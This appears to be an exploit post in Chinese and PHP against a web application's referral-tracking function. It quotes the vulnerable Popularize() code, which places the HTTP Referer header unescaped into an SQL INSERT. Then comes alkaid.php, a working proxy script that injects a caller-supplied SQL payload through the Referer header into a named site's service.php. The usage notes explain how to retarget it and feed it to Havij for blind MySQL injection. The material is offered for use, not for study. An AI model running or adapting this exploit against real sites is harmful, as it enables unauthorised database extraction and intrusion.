function Popularize()

{

    global $db;

    $userid = safeData("userid","get");

    if (!isNum($userid)) { die("用户非法,请从新登陆!");}

    $Ip = getip();

    $Ly = $_SERVER["HTTP_REFERER"];

    $row = $db->getRow("select * from tbl_user where u_id=" . $userid ."");

    

    if ($row){

        $sql="Select * From tbl_user_visit where uv_userid = " .$userid." and uv_ip ='".$Ip."' and STR_TO_DATE(uv_time,'%Y-%m-%d')='".date("Y-m-d")."'";

        $rsUv = $db->query($sql);

        $nums= $db -> num_rows($rsUv);

        if ($nums==0){

            $db->query("insert tbl_user_visit (uv_userid,uv_ip,uv_ly,uv_time) values('".$userid."','".$Ip."','".$Ly."','".date('Y-m-d H:i:s',time())."') ");

            $db->query("update tbl_user set u_popularizenum=u_popularizenum+1,u_points=u_points+".app_userpopularize." where u_id = ". $userid );

            $sql="Delete From tbl_user_visit where STR_TO_DATE(uv_time,'%Y-%m-%d')<'".date("Y-m-d")."'";

            $db->query($sql);

        }

    }

    die("<sc" . "ript type=\"text/javascript\">location.href='" .getIndexLink() ."';</sc" . "ript>");

}

alkaid.php

用法：修改最下面的uc_fopen('http://www.391.net/user/service.php?action=popularize&userid=597',0,0,0,FALSE,'',15,true,$_GET["a"]);
为目标网站对应service.php地址格式，然后去注册个合法ID填在userid=597位置上（重要！！！）

然后将alkaid.php?a=1 地址托给Havij用MySQL Blind可以注射
[php]
<?php

function uc_fopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE,$inject) {

$return = '';

$matches = parse_url($url);

!isset($matches['host']) && $matches['host'] = '';

!isset($matches['path']) && $matches['path'] = '';

!isset($matches['query']) && $matches['query'] = '';

!isset($matches['port']) && $matches['port'] = '';

$host = $matches['host'];

$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';

$port = !empty($matches['port']) ? $matches['port'] : 80;

if($post) {

   $out = "POST $path HTTP/1.0\r\n";

   $out .= "Accept: **\r\n";

   //$out .= "Referer: $boardurl\r\n";

   $out .= "Accept-Language: zh-cn\r\n";

   $out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";

   $out .= "Host: $host\r\n";

   $out .= "Connection: Close\r\n";

   $out .= "Cookie: $cookie\r\n\r\n";

}else {

   $out = "GET $path HTTP/1.0\r\n";

   $out .= "Accept: */*\r\n";

   $out .= "Referer: a',(select now()) and ".$inject.")#\r\n";

   $out .= "Accept-Language: zh-cn\r\n";

   $out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";

   $out .= "Host: $host\r\n";

   $out .= "Connection: Close\r\n";

   $out .= "Cookie: $cookie\r\n\r\n";

}



$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);

if(!$fp) {

   return '';//note $errstr : $errno \r\n

} else {

   stream_set_blocking($fp, $block);

   stream_set_timeout($fp, $timeout);

   @fwrite($fp, $out);

   $status = stream_get_meta_data($fp);

   if(!$status['timed_out']) {

    while (!feof($fp)) {

     if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {

      break;

     }

    }



    $stop = false;

    while(!feof($fp) && !$stop) {

     $data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));

     $return .= $data;

     if($limit) {

      $limit -= strlen($data);

      $stop = $limit <= 0;

     }

    }

   }

   @fclose($fp);

   return $return;

}

}



uc_fopen('http://www.391.net/user/service.php?action=popularize&userid=597',0,0,0,FALSE,'',15,true,$_GET["a"]);

echo 'hi';

?>